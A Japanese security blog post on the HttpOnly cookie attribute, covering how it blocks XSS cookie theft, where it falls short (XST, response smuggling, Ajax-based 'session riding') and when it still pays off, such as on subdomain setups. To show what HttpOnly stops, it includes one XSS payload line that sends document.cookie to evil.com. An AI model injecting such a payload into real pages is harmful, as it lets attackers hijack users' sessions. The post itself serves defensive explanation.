Firefox2でもhttponlyが使えるという話を耳にしました。
httponlyがいよいよ普及するか? というのでネタにしてみます。
なお、この日記は、WinXP+IE6SP2環境を前提として書きました。
はじめに
httponlyは、XSS脆弱性がある状況においても、cookieを窃取されないようにすることを狙ったIEの独自機能です。
MSDN - Mitigating Cross-site Scripting With HTTP-only Cookies
この機能を有効にするためには、発行するcookieにhttponly属性を付けます。
Set-Cookie: key=value; domain=example.com; HttpOnly
httponly属性が付けられたcookieは、JavaScriptのdocument.cookieで拾えなくなります。そのため、XSSで以下のようなJavaScriptコードを挿入されても、奪われることはありません。
document.write('<img src="http://evil.com/?c=' +escape(document.cookie) +'">');
httponlyの問題点
MSDNやITProの記事にも書いていますが、httponlyをcookieに付けておけば、XSS対策をしなくてよいのかというと、そうではありません。httponlyの問題をいくつか挙げます。
- XSSは様々な目的で悪用される
ページの改竄(フィッシング利用)、ポートスキャンなどのイントラハック、他サイトへのCSRF攻撃の踏み台利用など、XSSは様々な攻撃に利用されます。httponlyはcookie窃取防止以外には無力です。 - サポートするブラウザが限られている
今のところ、標準でhttponlyをサポートするメジャーブラウザは、IE6SP1以上のみです*2。また、一部のブラウザにhttponlyが付いたcookieを送ると、ページが正常に表示されない問題が発生するようです*3。 - 他の脆弱性との組合せによりcookieを窃取される
XST、HTTP Response Smugglingなどの脆弱性があると、Ajaxコードを挿入することで、httponlyなcookieも窃取できます*4。 - 「Session Riding」を防げない
多くの場合、XSS攻撃者は、cookie自体を窃取できなくても、cookieを窃取したのとほぼ同様のことを実行できます。いわゆる「Session Riding」です(詳細は後述します)。
1は、httponlyの目的とは無関係な話なので、この日記では扱いません。
2は、httponlyをサポートしていないブラウザがあるからといって、意味が無い訳ではありません。また、今後普及しそうな兆しもあります。
3は、この日記では、XSS脆弱性のみが存在する前提で考えます(httponlyがXSSの存在を前提としているからです)。
4のSession Ridingについては、以下に記述します。
XSSによる「Session Riding」*5
一定のクライアント・サーバ環境の下では、httponlyのcookieは、XSSで窃取されません(窃取されないべきです)。しかし、最大の問題は、このhttponlyの機能が、Session Riding攻撃の前では意味をなさないケースが多いということです。
例えば、攻撃者は、XSS脆弱性があるページにAjaxプログラムを埋め込みます。Ajaxのリクエストでは、httponlyなcookieを含むcookieが自動的にサーバに送られます。つまり、Ajaxを使うと、攻撃者はcookieを得ることなく、cookieによるアクセス制限が掛けられたページの内容を取得できます。情報変更のページでも同じです。この状況では、ワンタイムトークンによるCSRF対策は意味がありません。
iframeや別ウィンドウでも同じことができます。JavaScriptを使えば、iframeや別ウィンドウを作成し、その中にページをGETやPOSTでロードし、DOMにRead/Writeアクセスすることができます。この方法では、リファラによるCSRF対策をかいくぐることもできるというおまけもあります。
つまり、httponlyでcookie自体の窃取は防げますが、攻撃者が目的とするであろうこと(情報の窃取・改竄)を防げない場合があります。
それでもhttponlyを使う理由
Session Ridingは、特に攻撃対象のデータが明確でない場合、手間が掛かります。httponlyを使う目的の一つは、単純に攻撃の手間を増やすことです。
他にもhttponlyを使うべき時があります。それは、Session Ridingによる被害が、cookie窃取の被害よりも明らかに小さいときです。
判りやすいのは、以下のような状況です。
サブドメインを切っている場合
- あるサイトの中に、スケジューラとWebメールの機能がある
- スケジューラのドメインは schedule.example.com
- Webメールのドメインは webmail.example.com
- ログイン状態識別用のcookie(認証チケット)は .example.com ドメインに発行されている
httponly属性を付けないとしたら、スケジューラのXSS脆弱性によって、認証チケットが奪われます。その被害はスケジューラに留まらず、同じ認証チケットを使っているWebメールにも波及します(メールを盗み見られるなど)。
httponlyな認証チケットにすれば、認証チケットは奪われません。前述のSession Ridingは可能ですが、AjaxやDOMアクセスでは強いSame Origin制約が働くため、被害はスケジューラ機能内に限定されます*6。
AjaxやDOMアクセスは、ドメインやプロトコル(HTTP/HTTPS)が同一のページに限られています。サブドメインだけが違う場合もアクセスできません。
まとめ
httponlyを使用する条件
- クライアント条件
IE6SP1/Firefox2以上。それ以外のクライアントでは、動作異常を引き起こす可能性があるため、httponlyにしない。 - サーバ条件
TRACEを無効にするなど、一般的なセキュリティ対策がされていないと無意味。
httponlyの効果
httponlyを使うと良さそうなのは、古くからある大規模サイトです。
というような特徴を持つサイトが比較的多いと考えられるからです。
上記に当てはまらないサイトでは、httponlyのメリットは殆ど無いでしょう。
どちらにしろ、MS自身が認めているように、あくまで補助的な対策に過ぎないということは言えます。
その他
最後に、ブラウザ側でできる、もっと効果的なXSS対策は無いのだろうかという話を。例えば、Gerv - Content Restrictionsでは、「このページではスクリプト禁止」「外部JSファイルのみ許可」のようなオプションを、レスポンス内に指定する仕組みなどが提案されています。Web AP開発者視点で「あったらいいな」というレベルで書かれているように思いましたが、私もあったらいいなと思います。実現性はどうなんでしょう???
*1:【12/28追記】Firefoxのアドオンです。レスポンス受信時には、httponly属性が付いているcookieを暗号化します。リクエスト送信時には、それを復号化します。つまり、document.cookieで値を参照できなくするのではなく、JavaScriptからは暗号化された値しか参照できないようにします。ある意味アドホックな方法なので、問題もあるようです。詳細は、PHP Security Blog - HttpOnly Cookies in Firefox 2.0を参照して下さい。
*2:【12/28追記】LinuxのKonquerorというブラウザでもhttponlyに対応しているようです(金床さんから頂いた情報)。
*3:The Web Security Mailing Listへの投稿(2006/08/08)より。これには、httponlyのcookieにより動作異常をきたすブラウザとして、Mac IE5とWebTVが挙げられています。
*4:The Web Security Mailing Listへの投稿(2006/05/03)より。
*5:私の感覚で「Session Riding」と呼んでいますが、この言葉はCSRFの文脈で使われる事が多いので、少なくとも一般的な使い方ではありません。
*6:サブドメインでのhttponlyの有効性は、bugzilla ID 178993 #47でも指摘されています。